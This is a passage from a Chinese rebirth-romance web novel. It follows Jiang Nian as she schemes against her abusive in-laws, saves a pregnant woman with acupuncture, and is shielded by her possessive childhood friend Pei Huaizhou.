“念念。”来人又喊了一声,姜念睫毛狠狠颤了颤,缓缓回过了头。
在看到裴淮州时,眼泪险些夺眶而出。
裴淮州……竟然真的是裴淮州。
哪怕之前通过电话,可当活生生的人站在面前时,姜念还是觉得恍若隔世。
裴淮州注视着眼前的姜念,无视了所有人,一步一步穿过人群走到了姜念身边。
“好久不见,念念。”
姜念仰头看着他,鼻头发酸,眼神眷恋,仿佛倦鸟终于找到栖息的归巢,姜念想不顾一切的扑上去抱住他。
问他为什么那么傻,明明她跟他退婚时说了那么多狠毒刻薄的话,他怎么还要豁出命给她报仇?
可仅存的理智阻止了她,顾家人多疑又不择手段,裴淮州还有大好的未来,要是被他们一家人缠上还不知道会说出什么恶毒的话做出什么恶毒的事。
上一世她无力阻止,可这一世,姜念不能眼睁睁看着裴淮州再被她拖进泥潭里。
等她处理完了顾家人他们再好好谈谈,至少,不是现在。
姜念缓缓吐出口气,面色淡淡的后退一步:“裴淮州,你还是叫我姜念吧,我已经嫁人了。”
看出姜念的疏离,裴淮州僵在了原地,仿佛被人兜头破了一盆凉水,凉的他心里发寒,转瞬又掀起了更重更沉的暗火。
“是啊,你都结婚了,时间过得可真快啊……”他呢喃着,表情惆怅,可那双黑漆漆双眼却让姜念心里发毛,不寒而栗。
他们之间气氛古怪,顾晴看看姜念再看看裴淮州,狐疑问:“嫂子,你认识这个男同志?”
嫂、子。
裴淮州脸上的笑险些维持不住,淡淡扫了顾晴一眼。
“就是从你身上翻出来的药物?”
就那一眼,顾晴浑身的鸡皮疙瘩都冒出来了:“不是**的,我也不知道这包东西是什么,说不定是有人想陷害我……”
“在这里解释没有用,既然东西在你手里就请你配合我们的调查,来人,把她拉下去审问。”
裴淮州话音刚落,两个军人就把她捂着嘴给拖了下去。
吴桂花慌了:“我女儿是冤枉的,不能被带走啊!你们等等,等等!念念,念念,你跟这位同志认识,快点跟他求求情,小晴从小被我娇生惯养的,根本吃不了苦的啊!”
顾永福也急眼了。
“是啊念念,向南最疼的就是小晴了,要是让他知道你眼睁睁看着别人把她带走,肯定会怨你的,你不是最在乎他吗,只要你救了她,我一定让向南回来过年,跟你团聚!”
他一口一个小夫妻关系好,姜念有多在乎顾向南,警卫员小赵待在裴淮州身边都要冻**。
他小心觑了眼裴处的脸色,吓得立马收回了视线。
妈呀,裴处的眉眼都是冰碴子,眼底沉的能**。
他赶紧开口打断他的话:“咳咳,你们当我们是什么人,还能屈打成招吗,等着吧,你闺女要是清白,待会儿就放出来了。”
可裴淮州看向了姜念:“你有什么要说的吗?”
这里人多,正适合她表演,反正顾晴在这么多军人眼皮子底下也瞒不过,她正好能顺水推舟一把。
这么想着,姜念做出一副纠结的样子,对裴淮州小声祈求:“我公婆说的对,小晴虽然性子火
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爆但绝对没坏心眼的,你要不就先把他放了吧……”
嗖的下,姜念脖子凉飕飕的,汗**也竖起来,像是被什么野兽给盯上了一样毛骨悚然。
但在她眼前的可是裴淮州呀,余光注意到敞开的门口,姜念想应该是穿堂风吧。
“为了顾向南?”裴淮州冷不丁开口。
“嗯?嗯,对,他跟我说过小晴只是性格跋扈但人不坏的,要是他回来知道我没保护好小晴,肯定会不理我的~”
姜念说着还做出一副委屈的样子。
孟芳啧啧两声:“你舅舅总说你对向南多好多好的,今天也让我见识了一回,看来你这是爱屋及乌,得是喜欢惨了向南吧。”
姜念心里犯恶心,脸上却满是羞涩。
经过今天这件事,自己对顾向南的一往情深就会在他们脑海里根深蒂固,她“爱”的越深,等之后揭穿顾向南真面目时,顾向南得到的反噬就会越多。
只要想到以后顾向南会被千夫所指,她就能一忍再忍。
可低着头的姜念并不知,裴淮州脸上温和斯文的表情皲裂一瞬,隐隐露出偏执阴鸷的一面。
重活一世,裴淮州哪怕知道姜念只是被顾向南蒙蔽了才喜欢上顾向南,哪怕做好了准备要接受她对顾向南的一往情深,可听到姜念亲口承认,裴淮州还是没忍住汹涌的妒火,眼眶猩红,恨不得现在就把顾向南剁碎了喂狗!
那个畜生就是个不折不扣的小人,根本不配得到念念的喜欢!
裴淮州气的紧紧攥住了拳,牙齿紧咬,忽然磕碰到嘴角,隐隐流出了血迹。
“呀,裴淮州,你流血了!”
“顾晴刚才不会是给你下的毒吧?”
姜念总算想起了这件事,着急忙慌的扶住他把脉,指腹贴在冰凉的腕间时,她似乎听到了一声若有似无的,仿佛极致愉悦,贪婪的还要更多的喟叹声。
她脸色诡异了一瞬,猛地抬头:“裴淮州,你……”
第十三章 腹黑的裴淮州
裴淮州还是那个风光霁月的温和模样,坦然地看着她。
见她突然抬头还疑惑地眨了眨浓密的睫毛:“嗯?”
脉搏平稳,无半点异样。
难道是自己心神恍惚听错了?
肯定是了,从小就对她体贴细致的裴淮州怎么会因为她碰他一下就喘息呢?那多变态啊。
姜念摇摇头:“没什么。”
“怎么样,裴处的身体还好吧?”警卫员小赵也就是为首的军人见姜念脸色变来变去,紧张地问。
姜念这才发觉指腹搭在脉搏上的时间有点长,立马收回手:“身体康健,没什么大问题。”
就是浑身燥热之气略壮,但他这年轻力壮的,也能理解。
“你们刚才不是说领导**了吗,是谁**了?”
见她抽手离去,裴淮州冷冷瞥了一眼小赵:“县长。”
县长啊?姜念眼睛一亮:“那他看大夫了吗,要不要我去看他?”
“向南家的,你安分点,那可是县长,你连个赤脚大夫都不是还想着去给人家领导治病啊,能不能有点自知之明!”不等裴淮州开口,吴国强立马阴着脸打断她。
吴桂花也觉得姜念不知天高地厚,一把把人拽过去:“你别胡咧咧,这里这么多人,你想出风头也不能随便拿县长的身子开玩笑,军人同志,我儿媳妇压根就不懂这些,你们别当真啊。”
小赵心想他也没当真,谁敢把堂堂县长随随便便交给一个农村妇女啊。
可裴淮州却点头:“我带你去。”
小赵:哈?
屋里的众人也都一脸诧异。
“真的?”
“嗯,跟我走。”
“好。”
“不行!”吴桂花死死攥着姜念的手腕,“姜念你别去添乱了,你又不懂医,万一治坏了人连累向南怎么办?”
“谁说我不懂?”
“谁说她不懂?”
姜念和裴淮州异口同声。
裴淮州挑眉:“你们不知道姜念从小便对医学十分有天赋,如果不是她闹着要下乡,现在早就成了医学大拿,难道……你没跟他说过?”
这个“他”两人都知道指的是谁,姜念摇头:“我没跟他说。”
裴淮州嘴角勾了勾,心底升起一丝隐秘的快感。
可吴桂花一点都不信,就姜念这种被他们**的蠢货还能是医学大拿?要真是懂点医术,能不清楚他们给她吃了猪饲料?
不过,吴桂花看着身份明显不一般的裴淮州,眼珠子转了转又成了一副宠儿媳妇的样子,嗔怪:“唉,念念你总是想一出是一出的,要去可以,但妈不放心,还是让妈跟着你一起去吧。”
那可是县长,她去表示一下关心也算雪中送炭了吧,说不定还能长着这男人的关系跟县长热络起来,毕竟小晴快要毕业了,有县长做靠山不管是考大学还是找工作都方便呀。
她生怕裴淮州不同意,又把自己当兵的儿子搬出来:“这位同志,我儿子在部队里时时刻刻挂念着我儿媳妇,你应该能理解他作为丈夫却不能时时刻刻陪在妻子身边的无奈吧,就让我代替他好好照顾念念吧。”
她说的起劲,丝毫没注意到裴淮州眼底阴霾密布:“小赵。”
“裴处。”
“找人盯着他们,结果没出来前,谁也不能离开。”
裴淮州说罢直接扣住了姜念的手腕开门出去,吴桂花想追上去,却被几个荷枪实弹的军人拦住:“请配合我们的调查。”
“那是我儿媳妇,她都能出去凭什么我不能啊!”
外面,裴淮州身高腿长,快步走着时姜念得小跑才跟得上:“裴淮州,你慢点,我跟不上。”
“不是说领导在楼上吗,你要带我去哪里?”
“回家。”
“回家?可我还有事没完成,顾向南……”
“不准再提他。”
手腕倏地一紧,姜念痛呼出声:“嘶,裴淮州,你弄疼我了。”
听到这话,裴淮州睫毛狠狠一颤,仿佛才回过神来刹住脚,声音沙哑:“抱歉,我看看。”
“没事,就是红了一点,裴淮州,我暂时不能跟你回去,我还有很重要的事要做,我不能半途而废。”
她要毁掉顾家人,毁掉顾向南,有了上辈子的记忆,她不想再让裴淮州掺和进来,他就应该继续他的科研之路,实现他的抱负,别被她连累。
裴淮州看着姜念这倔强的双眼,想起了之前她也是这般倔强的拒绝了他,头也不回地嫁给了顾向南。
裴淮州胸口密密麻麻的疼起来,戾气汹涌,他深吸一口气:“你说的重要事就是等顾向南跟你团聚?”
姜念余光注意到他们居然到了邮局附近,这里说不准谁是吴国强的眼线,只能点头:“……是,但日后你会明白的,我……”
裴淮州垂下眼,眼底沉痛,嘴里满是苦涩。
又是这句话……
当年他看出顾向南绝非良配想劝姜念回头,可姜念也是这么回他的
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。
如今,她仍然执迷不悟……
裴淮州轻笑了一声,怀柔不成,那便用强吧。
把她带回去藏起来,等他料理了顾向南再说。
姜念被他这一笑起了满身的鸡皮疙瘩,探究地看着他。
不知道是不是他们很长时间没见了的缘故,刚才的那一瞬间,姜念竟然感觉到对方似乎很危险。
可再细看,裴淮州还是那个裴淮州啊,小时候纵着她上房揭瓦,默默给她收拾残局的竹马哥哥。
“咦,姜同志你来的正好,这里有一封你丈夫给你写的信!”邮局忽然有人冲姜念招手。
姜念扬声跑过去:“好,我来拿。”
姜念明知道这封信是吴国强自己写的,但为了计划还是当众拆开信封,忍着恶心读了一遍,憋着气才把自己脸颊憋成了害羞的样子。
众人起哄着要看信,姜念装作不小心松手,成功把信传给了工作人员。
毕竟顾向南从来没给自己写过信,吴国强给她写信时没做丝毫伪装,只要熟悉吴国强的人见了,肯定能认出来。
果不其然,有人刚拿到手就咦了声:“这字怎么这么眼熟呢?”
姜念眼睛瞬间变亮,期待地盯着她。
对,继续说下去!
这将成为她揭穿顾向南真面目的关键一环!
可在这关键时刻,信封却被一只修长的手夺走。
“诶,裴淮州,你干嘛,快给我。”姜念一口气险些没上来,脸色被气的铁青。
可她这幅紧张焦急样子,落在裴淮州眼里却成了十分宝贝那狗男人的证据。
连个破信都这么宝贝,要是顾向南在这,她哪里还能有他这个青梅竹马吗?
裴淮州越想越酸,越想越气,都怪这个狗男人巧言令色骗得念念对他如此上心。
还有这破信。
裴淮州在姜念扑过来抢时装作没拿稳重重磕在了墙上,纸张“刚巧”落在了水盆中,氤氲一片……
姜念只觉得五雷轰顶:!
裴淮州抿紧了唇。
睫毛闪了闪挡住了她的视线:“抱歉,是我手没拿稳……”
说着,还缩了缩手背。
姜念看到他手背处大片的血色,瞳孔骤缩,也顾不上什么信不信的了,猛地抓住他手:“你手受伤了!”
裴淮州不轻不重的嘶了声,在姜念低头查看伤势时,轻瞥了小赵一眼。
还在关心裴淮州的姜念没注意到,那封信早已被小赵捡起藏了起来。
第十四章 裴淮州以身入局
“幸好没伤到骨头,你还疼吗?”
姜念带着他去卫生所消毒包扎。
裴淮州安分地坐在凳子上,专注地看着她:“我没事,姜叔叔和阿姨这几年很想你,我带你回家看看吧。”
“我爸妈他们没来?”姜念系蝴蝶结的动作一顿:“你没跟他们说吗?”
说什么?
说她跟顾向南过的很、好、吗?
“嗯?你不是不让他们过来吗?”
姜念眼前一黑,裴淮州脑子是不是搞科研搞坏了啊:“那你怎么突然来松山县了?”
“上头派我来这边,我也没想到在这里会遇见你。”
在旁边的小赵:……
真不知道是谁一意孤行,力排众议,非得来这条件不好的松山县搞实验的。
姜念皱紧了眉头,她怎么不记得裴淮州上辈子来过松山县,难道是他要进行秘密研究,封锁住了消息?
不过……“话说回来,县长要招待的大领导该不会是你吧?”
上一世她在顾家当老黄牛,跟裴淮州没任何联系,自然也不清楚他的现状如何,不过……看他身边始终守着一名军人,待遇应该不错?
然而,裴淮州却摇头。
“怎么可能?我只是一个小研究人员,也是跟着领导过来的。”
“真的?那你旁边这位军人……”
“哦,他是负责此次研究人员安全的,见我单独一个人出来才陪着我,你说是吧,赵大哥?”
刚才还小赵这会儿就是赵大哥了,小赵默了默:“是。”
“那你刚才说带我去找县长?”
“县长只是上吐下泻并没生命危险,已经被送去县医院了,我只是看你被你公婆欺负才借口带你出来透透气。”
姜念没想到会这样,愣愣对上裴淮州温柔的双眼,心像是被轻轻碰了一下……
她忙偏开头:“原来这样啊,你刚才说你是上头派来的,那在这里待几天,是住在招待所吗?”
裴淮州苦笑,惆怅的说:“本来倒是可以住在招待所,但招待所满员了,我怕是要流离失所了,不过没关系,反正我一个大男人,在哪里都能凑活的,咳咳,哦,最近有点感冒,你离我远点吧,别传染了你,咳咳。”
小赵:嗯嗯嗯?
裴处您这话对得起给你订了大房的县长吗?
姜念见他眉头蹙起,跟刚开始的疏离冷峻不同,多了书生病弱气,心立马软了:“要不你住我那吧,这都快降温了,这里的冬天可是很冷的。”
裴淮州眼底精光一闪:“这样不好吧,虽然我们从小到大都在一块,但顾向南不会介意吗?”
一提顾向南,姜念恶心的不行:“介意什么?他在部队,三年都没回来过一次,上好的砖瓦房空着也空着,你去住还能开火增人气,就这么说定了。”
裴淮州嘴角飞快勾了勾,在姜念抬头时瞬间收敛:“顾向南三年没回来过啊?”
“嗯嗯,房子都是干净的,拎包就能入住哦。”
“那我们就打扰了,放心,我给你交伙食费和住宿费。”
“不用,对了,既然县长没事,那我小姑子顾晴她……”
“放心,如果真查明她没嫌疑,她不会有事,如果真查出跟她有关系……”裴淮州怕姜念替她求情,毕竟念念上一世就很宝贝这个小姑子,只含糊说,“那就再说。”
不管跟顾晴有没有关系,以他的能力,让人在里面蹲几天遭遭罪轻而易举。
顾家那么欺负念念,这个顾晴也不无辜,他收点利息也不为过。
姜念不知裴淮州在背地里替她运作,闻言有些遗憾,看样子县长没什么大事,那顾晴岂不是很快就会被放出来了?
在他们说话时,顺子火急火燎跑回来,
“姜同志你可算来了,胡大夫让我来找你救命!咱们快走!”
姜念见顺子脸色凝重慌乱心也提了起来:“我跟你走,路上说。”
路上,顺子三两句话把事情说明白了。
原来病人家里出现了变故,病人受了刺激,情绪不稳发疯了。
“什么变故?”
顺子支支吾吾:“我不好说,等会你就知道了。”
姜念奇怪,但赶到地方时,总算明白他为什么不肯说了。
院里充满了刺鼻的血腥气,一个大肚子的女人奄奄一息被放在公牛身上颠来颠去,浓稠的鲜血顺着牛肚子流了满院子,女人嘶哑的
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叫着,可旁边刻薄嘴脸的老太太不为所动:“继续,我们赵家三代单传,赵家的血脉绝对不能断在我手里。”
这种血淋淋的封建催生方法冲击力太强,连姜念这种见多识广的觉得脊背发凉。
可那女人已经是进气少出气多了,再胡闹下去,大人和小孩都会没命!
“你要是还想要孙子就赶紧把人放下来,”姜念脸色难看的能滴水,“再晚一分钟,大罗神仙都救不了你孙子。”
“呸呸呸,你谁啊敢这么咒我孙子,给我滚出去!”
“她是我请来的妇科圣手,你不是嫌我是个老头子不能给你孙媳妇接生吗,她可以!”
胡大夫趴在屋里的窗户缝隙,递出针灸盒子大喊:“姜念,快,快帮帮忙,我被她锁起来了,产妇血流不止,你快用银针先给她止血!”
他扶着一个颤颤巍巍的狼狈男人,男人涕泗横流:“求你,求你救救我媳妇!”
顺子连忙把针灸盒子送过来,姜念顾不上别的一把夺过针灸推开赶牛的人,都来不及把休克过去的女人挪下来,三两下扎在了女人的关键穴位。
没有反应。
再扎,还是没反应。
这可比之前碰到的小男孩棘手多了,姜念一颗心沉到了谷底。
银针以飞快的速度,又深又重地落在了女人身上。
那老太太急地大骂:“差一圈就到九九八十一圈了,我孙子马上就能生出来了,你要对我宝贝孙子做什么!”
“赶紧滚开!”
那老太太举起拐杖扑过来,姜念背对着她扎针,察觉到后脑一凉时手上正在下针,这一针扎歪了,一尸两命。
取舍只在一瞬间,姜念把厚厚的背弓起来,手上银针稳准狠的扎进了产妇喉间。
“咳。”
产妇终于恢复了意识,姜念后背却没想象到的疼痛,等她诧异回头时,却见不知道什么时候跟过来的裴淮州挡在了她面前,替她挨了这重重一棍。
裴淮州疼的闷哼一声,薄唇疼到惨白。
姜念的心狠狠一颤:“裴淮州……”
男人强撑着对她笑了下,声音一如既往的温润:“我没事,你救人,其余的交给我。”
第十五章 如果顾向南在这,他还有几分胜算?
产妇危在旦夕,姜念深深看他一眼转身继续救人,产妇失血过多,胎位不正,羊水流干,孩子发育不足又窒息太久,救活的希望很渺小。
如果这里是手术台,姜念可以冒险剖腹取胎,但她只要一动手,尚有一口气的产妇必死无疑,是保孩子还是保大人?
她没有半分犹豫:“孩子保不住了,要么你们一起死,要么你活过来给你的孩子报仇。”
话音未落,她的手被产妇紧紧抓住,姜念看出了产妇眼底浓浓求生的渴望,嘴唇勾了勾,手腕翻转下了一针。
“放心,我会救活你。”
产妇脉搏有力起来,像是感应到了什么,眼泪缓缓从眼角流出。
小赵三两下制服老太太,一脚踹开带锁的房门,胡大夫慌忙跑出来:“血止住了吗?”
他身后是狼狈爬出来的男人:“媳妇,媳妇……别怕,我陪你,你等等我,我这就来陪你……”
时间被无限拉长,产妇身上扎满了银针,姜念下完最后一针,脱力的往一旁歪倒,没有想象到的疼痛,反而是靠在了裴淮州清冽干净的怀抱中。
裴淮州一直在旁边守着她,扣住她的力道缓缓用力,声音嘶哑:“还好吗?”
姜念满头大汗,手指都在微微颤抖,脸色比当初救小孩时还要惨白:“我没事……歇一会就好。”
“人已经救回来了,”胡大夫脸色复杂,看妖孽一样看向姜念,“产妇比上次的小孩要严重多了,我没想到连她你都能救回来,老夫自愧弗如。”
“孩子呢?我孙子怎么样了?”
“孩子没保住,”姜念撑起身子,看向男人,“拿纸笔过来,我开个方子,你三碗水煮成一碗给你媳妇喝下,等孩子落了再煮第二张方子给她调养身子,以后再要孩子的话最迟也要再等七年。”
男人抱紧了产妇:“是是是,都听大夫的,都听大夫的,媳妇,你听到了吧,我们以后还会有孩子的,没有孩子也不重要,你别伤心,先把身子养好,我不能离开你……”
裴淮州见姜念累的连笔都抓不住,沉声接过来:“你说,我来写。”
老太太如何歇斯底里不用再提,姜念也给男人把了脉,开了能治好他腿伤的药。
忙完,姜念又细细看了裴淮州背上的伤,长松一口气:“还好你身体强壮,没伤到筋骨,下次你可再冲上来替我挡了,我脂肪比你的厚,没事的。”
裴淮州只笑了笑,不置可否。
不会有下次的,他保证。
忙完这一切,胡大夫将细如银丝的银针双手捧上。
“这盒银针是我当过御医的祖师爷流传下来的,可惜我医术不行,在我手里怕是要埋没了它,好在我碰见了你,现在我就按照约定把它赠与你,希望你能用它救更多的人。”
姜念没想到这银针会有这么特殊的意义,摇手推拒,可胡大夫坚持,她只好收下:“我只是借用,你随时都能取回。”
胡大夫挥挥手:“没人比你更适合它了,这也算我们师门的信物,我那些师兄们如果见到它一定能认出来,他们比我这个老头子厉害多了,你要是有什么事尽管去找他们。”
胡大夫眼神闪烁,只是他那些师兄们具体在哪里,他也记不清了。
但一个个的都挺有名的就是了,姜同志也不吃亏的。
姜念没把后半句话放在心上,这年头的老中医不知道受了多少**,她帮不上忙就算了,怎么好意思求人帮忙。
姜念把事情都叮嘱好,有胡大夫从旁盯着,她也放心,但那老太太还在骂,骂她是个庸医害**她的孙子,骂儿媳妇没用生不出儿子,产妇在这样的环境里可恢复不好。
男人说:“我会把她送回老家,不会让我媳妇再受一点委屈。”
他跟他娘不亲,从小他娘就认为是他出生才克**他爹,从前不管他,知道他媳妇怀孕后才不声不响从乡下赶过来,逼着他媳妇喝什么生儿子的偏方,如今更是听了神婆算出来的良辰吉日,趁着他行动不便,关了门逼着他媳妇在八个月的孕期提前产子……
要不是姜大夫来了,他媳妇怕是早就不在了。
男人眼眶猩红,感激地给姜念鞠躬,郑重说:“姜大夫您的救命之恩我赵中华记住了,要是以后有用的着我的地方,您尽管说。”
赵中华?
姜念意外:“你就是赵中华?你爱人是叫娄美娟?”
“是,我家美娟……您认识她?”
姜念抽了抽嘴角,她虽然不认识,但她可听说过她的飒爽事迹,这位可是他们国家第一个女首富,在刚改革开放时就抓住了机会,仅花一年时间就从倒卖服装干到了独立建厂,后来事业在全国遍地开花,
在书里,娄美娟跟男主顾向南的关系很好,好几次鼎力支持顾向南,为他所在部队提供钱财和装备,可以这么说,要是没了这位首富,顾向南也不会升职地这么快。
可如今,这泼天的富贵和靠山她可不会拱手相让。
“姜大夫,姜大
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夫?”赵中华奇怪,这姜大夫是想到了什么美事,怎么笑的这么奇怪?
姜念咳嗽几声:“没事,她为你受了这么大的委屈,你得好好对她,过几天我再来看看她。”
救了个大宝贝,姜念一路上都美滋滋的,要不是有军人来找他们差点忘了顾家人还被关在饭店里。
“下毒的人找到了,是跟着我们过来的探子,他扮成给后厨送菜的小伙计偷偷下的毒,至于那位女同志也的确下药了,但只是寻常的泻药。”
“要不是县长先吃了下了泻药的菜,恐怕您两位就真的要**了。”
这么巧,难道这就是男主妹妹的光环?
裴淮州面容冷淡:“阴差阳错,但她下药是事实,按照规章制度处理吧。”
小赵秒懂,这是要按最高处罚:“那就拘留七天,不准人探望且这种程度的处分会写进档案里,以后连工作都不好找。”
“这样啊,那太可怜了啊……”姜念使劲憋住笑才没把今天是个好日子给唱出来。
裴淮州冷冷嗯了声,念念果然心善,如果她要找自己求情,他该怎么冠冕堂皇的拒绝?毕竟就顾晴那种对她包藏祸心的东西,他恨不得让她彻底消失。
“那我公婆呢?会不会被连累?”
“不会,顾晴已经成年又是她一人所为,连累不到她父母。”
那可真可惜了啊。
姜念眼底划过一丝失落,可她这蔫蔫的样子,落在裴淮州眼里就成了对顾晴的担忧,他眼底晦暗起来。
只是顾向南的妹妹她就这样爱屋及乌,那如果是顾向南,那他还有几分胜算?
“天快黑了,我送你回去吧。”
“诶,那你呢?你不跟我回去了?”
裴淮州勉强笑了笑,浓浓的睫毛落下来:“不太方便,你公婆再刁难你怎么办?我还是随便找个招待所凑合住吧。”
姜念可看不得裴淮州这委屈样:“这怎么行,你不是说招待所没房间了吗,过几天就要降温了,在外头住着你会生病的。”
“跟我走吧,赵同志,你也一起来吧,一起住热闹。”
小赵刚要应就对上了站在姜念身后缓缓看过来的裴处目光,连连摆手:“不用了,不用了……”
裴淮州勾唇,“不情愿”地被姜念拽着手拉回了家。
小赵挠挠头。
裴处该不会早就算准了要去跟人家住吧,所以才把人家未婚的小姑子弄到了拘留所。
是给他腾位置还是保护自个儿的名声?
第十六章 谁要给你儿子生孩子?
姜念带着裴淮州回村,没等进村里就在村口情报站被围观了。
“呀,这么俊的小伙子,向南家的,这是你家亲戚啊,之前没见过。”
“小伙子多大了,从哪里来的,有对象没?干啥工作的?”
好几个婶子涌上来还想去摸裴淮州的身子,姜念见他无措的干站着,连忙挤开人,边解释边带着人走:“这是我表哥,脸皮薄,婶子们别开他玩笑了。”
裴淮州因为能跟人一起住的雀跃心情跌倒了谷底。
表哥?
在念念眼里,他只能是个表哥吗?
裴淮州薄唇紧紧抿起,可在下一秒又陡然一怔。
因为姜念主动握住了他的手,十指相扣,如此亲昵。
眉眼间的冰冷瞬间融化,裴淮州不动声色地握紧了她的,虽然胖乎乎的,但他能完全握住。
姜念牵着裴淮州挤开人群:“不早了,我们先回去了哈,婶子们也都回家吧。”
等走出一段距离没了人,姜念才松了口气,裴淮州沉默着老老实实落后她半步,眼睛一直盯着她的手。
“怎么了……”
姜念低头一看,好家伙,她还牵着裴淮州的手呢,男人的手比她大的多,手指修长又骨节分明,把她的手包裹的严严实实。
姜念跟触电一样抽开手:“咳咳,对不住啊,我一时情急忘了。”
“我怕你在村里惹闲话所以才喊你表哥,等会儿见到顾家人咱们也这么说,你可别露馅了。”
惹他和念念的闲话吗?裴淮州巴不得呢。
但这是在村里,人多眼杂,万一再惹了念念不开心……权衡下,裴淮州点头:“好。”
姜念没想那么多,只是单纯不想裴淮州被顾家人盯上,再被她连累。
他们回去时,顾家人还没回来,估计是去打探顾晴的消息了。
姜念直接开了顾向南的新房子:“这是顾向南的屋子,新建后他没住过,被褥都是全新的,你暂时睡这屋吧……”
裴淮州环顾四周,在看到白白的墙壁上贴着的大红喜字时咬紧了牙。
“这屋子是你们的婚房?”
“对啊。”
裴淮州脸色变来变去,一边嫉恨那个畜生又一边暗爽念念要跟是他睡在一起。
他走到衣柜另一边,看着屋里都是顾向南的东西,想着他是如何一点点占据念念的,裴淮州那点暗爽又被更深更浓的妒火烧成了渣渣。
姜念回头被裴淮州阴沉沉的脸色吓了一跳:“你脸色怎么这么难看?是不是太累了,那你先休息着,我回屋了。”
裴淮州抓住她的手:“你要把我一个人丢在这?”
“什么叫我把你丢在这,我住在隔壁,你有事喊一声我就能听到了。”
裴淮州一愣:“你不住在这?这不是你跟顾向南的婚房吗?”
“是婚房,但我们结婚第二天他就回部队了,按照这里的风俗,新房要小夫妻两个一起住,我婆婆就把我撵到隔壁去住了。”
“我知道你有洁癖,你放心,我们结婚当晚顾向南是睡在地上的,当时他睡的那边被弄湿了,没法睡。”
裴淮州脑子嗡的一声:“你们没睡在一起?”
姜念点点头:“这三年都没睡,所以你可以放心睡。”
裴淮州狠狠一震。
他以为自己会窃喜,可没有,他又怒又心疼:“顾向南竟然敢这么糟蹋你?”
没有夫妻之实,却以夫妻的名义害了她一辈子。
顾向南该死!
姜念没想到裴淮州反应会这么大,想解释余光却看到顾家人回来了,立马转了个弯:“你别这么说,顾向南对我很好的,我伺候公婆是我作为儿媳妇该做的。”
“姜念!”
姜念冲他眨眼,从里面出去:“爸妈你们回来了啊,小晴呢?怎么没和你们一起回来?”
“你还好意思说,小晴都被抓进去了,要关七天!这下你满意了吧!”吴桂花死死盯着姜念,恨不得把她扒皮拆骨。
“啊,怎么这么严重,难不成小晴真的
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给县长下毒了?会不会连累我们啊?”姜念做作的捂住嘴,“连累我们不要紧,万一要是对向南的工作造成影响,这可怎么办呦?”
“怎么可能,只是泻药!”
“不管什么,这都不对啊。”
吴桂花气结:“还不是都怪你,你要是承认药是你下的,小晴怎么可能会被抓进去!又怎么会连累向南!”
“妈,你这话说的,我是顾向南的配偶,要是认了罪也会影响你儿子,再说,本来就不是我下的泻药啊,我为什么要替你闺女认罪?”
吴桂花心情本来就不好,见向来逆来顺受的姜念敢反驳她,气了个倒仰:“姜念,你再给我说一遍!”
“够了!现在争辩谁做的还有什么意义,当务之急是把小晴保出来,”顾永福打断吴桂花,对姜念苦口婆心:“向南家的,向南最疼小晴了,要是让他知道他最宝贝的妹妹进了拘留所肯定担心得不行,他经常要出任务,万一再因为这件事分了心,你不得担心死啊?”
“您说的有道理。”姜念点头。
顾永福笑着点点头,却听到姜念眨巴眨巴双眼:“那咱们不跟他说不就行了吗,反正才七天,眨眼就过去了,正好妈不是说他不回来过年吗,等明年回来,这件事也过去了。”
顾永福一口气差点没上来,强颜欢笑:“你不能这么想啊,小晴毕竟是向南最宝贝妹妹呀,我们没门路救不出来,但你可以啊。”
“我?”
“你不是认识那个叫裴处的领导吗,反正县长没什么大碍,你去跟人求求情放小晴出来,小晴以后肯定会好好改正的,向南知道这件事,也会感激你,说不定明年回来就能跟你生个大胖小子呢。”
姜念眼底讥讽,差点笑出声。
这顾永福脸是有多大啊,说的让她为一个渣男生孩子是她的荣幸,是他们老顾家的恩赏一样!
在衣柜后,听了这句话的裴淮州从里面走出来,冷冷抬眼:“谁要给你儿子生孩子?”
第十七章 裴淮州开大:那你儿子可真没用
屋里冷不丁出现一个大活人,两人都吓了一跳,吴桂花狐疑:“你不是在饭店里把我们扣下的领导吗,怎么在我儿子屋里?你们在屋里干什么了?”
被她用捉奸的口气质问,姜念皱眉:“他是表哥裴淮州,来咱们这边办事,我带他回来住几天。”
“那也不能住我儿子的婚房啊。”
“顾向南过年又不回来,屋子空着也是空着,他不住在这里要住在哪?总不能跟我一起挤茅草屋吧,还是您二老愿意把你们住了大半辈子都睡包浆的床让出来?”
吴桂花脸拉下来:“谁的床包浆,有你这么对长辈说话的吗?”
“我只是开个玩笑,妈你这么大的反应干什么?难不成真被我说中了,恼羞成怒?”
“你竟然还敢顶嘴!”
顾永福:“行了,念念年轻说话直,你跟她计较什么,没看到还有客人在吗?”
吴桂花死死咬着牙,姜念这个小蹄子就是欠收拾,等人走了她迟早要把她收拾得服服帖帖的!
顾永福制止了吴桂花,对裴淮州说:“小裴既然是念念的表哥也就是咱们老顾家的亲戚,亲戚过来住几天恶没什么大不了的,你就安心在向南屋里住下。”
“桂花你赶紧跟念念去炒几个菜,我们好好给小裴接个风。”
顾永福一口一个小裴的喊,摆足了长辈的谱。
裴淮州皱了皱眉:“你要念念去做饭?”
他记得念念不会做饭,小时候姜父姜母单位有事没回来,念念自己做饭差点把家给点了。
“小裴不知道吗,我这儿媳妇以前虽然娇滴滴的但为了我儿子硬是学会了做饭洗衣裳,等会儿你好好尝尝她的手艺,走,咱们爷俩先进屋唠唠嗑。”
裴淮州眼冷下来:“是吗,那你儿子可真没用。”
顾永福一愣:“……什么?”
“只有没用的男人才养不起娇滴滴的妻子,如果是我,我爱人婚前是什么样,婚后只会被我养的更娇,我表妹没结婚前十指不沾阳春水,结了婚倒是给你们当牛做马的使唤,连自己的爱人都保护不了,不是废物是什么?”
原来是给表妹打抱不平啊,顾永福放心了,乍一听还以为裴淮州是来跟他儿子抢媳妇的呢。
“这洗衣做饭不都是她们女人的事吗,我儿子每个月都寄津贴回来,怎么能说是废物呢?”
“津贴都给我表妹了?”
“凭啥给她!这是我儿子的津贴,专门寄回来孝敬我们的!”吴桂花生怕这个姜念娘家人帮着姜念来抢他们的津贴,立马说。
裴淮州呵了声:“所以钱是你们的,自由是你儿子的,我表妹什么都没有,只有个孝心外包且无能的丈夫?”
裴淮州看起来斯斯文文的可说的话一句比一句犀利,最后这句嘲讽直接拉满,那老两口脸色顿时一阵青一阵红,姜念在心里一个劲的喊好。
裴淮州还是跟小时候一样,看着对什么事都淡淡的,可实际上腹黑毒舌又小气护犊子,不带一个脏字都能把人骂的狗血淋头。
“再者,谁说洗衣做饭是女同志的事?法律规定的?哪条律法?”
顾永福:“这……我们家里就是这样分配任务的,这也是我们这片的风俗。”
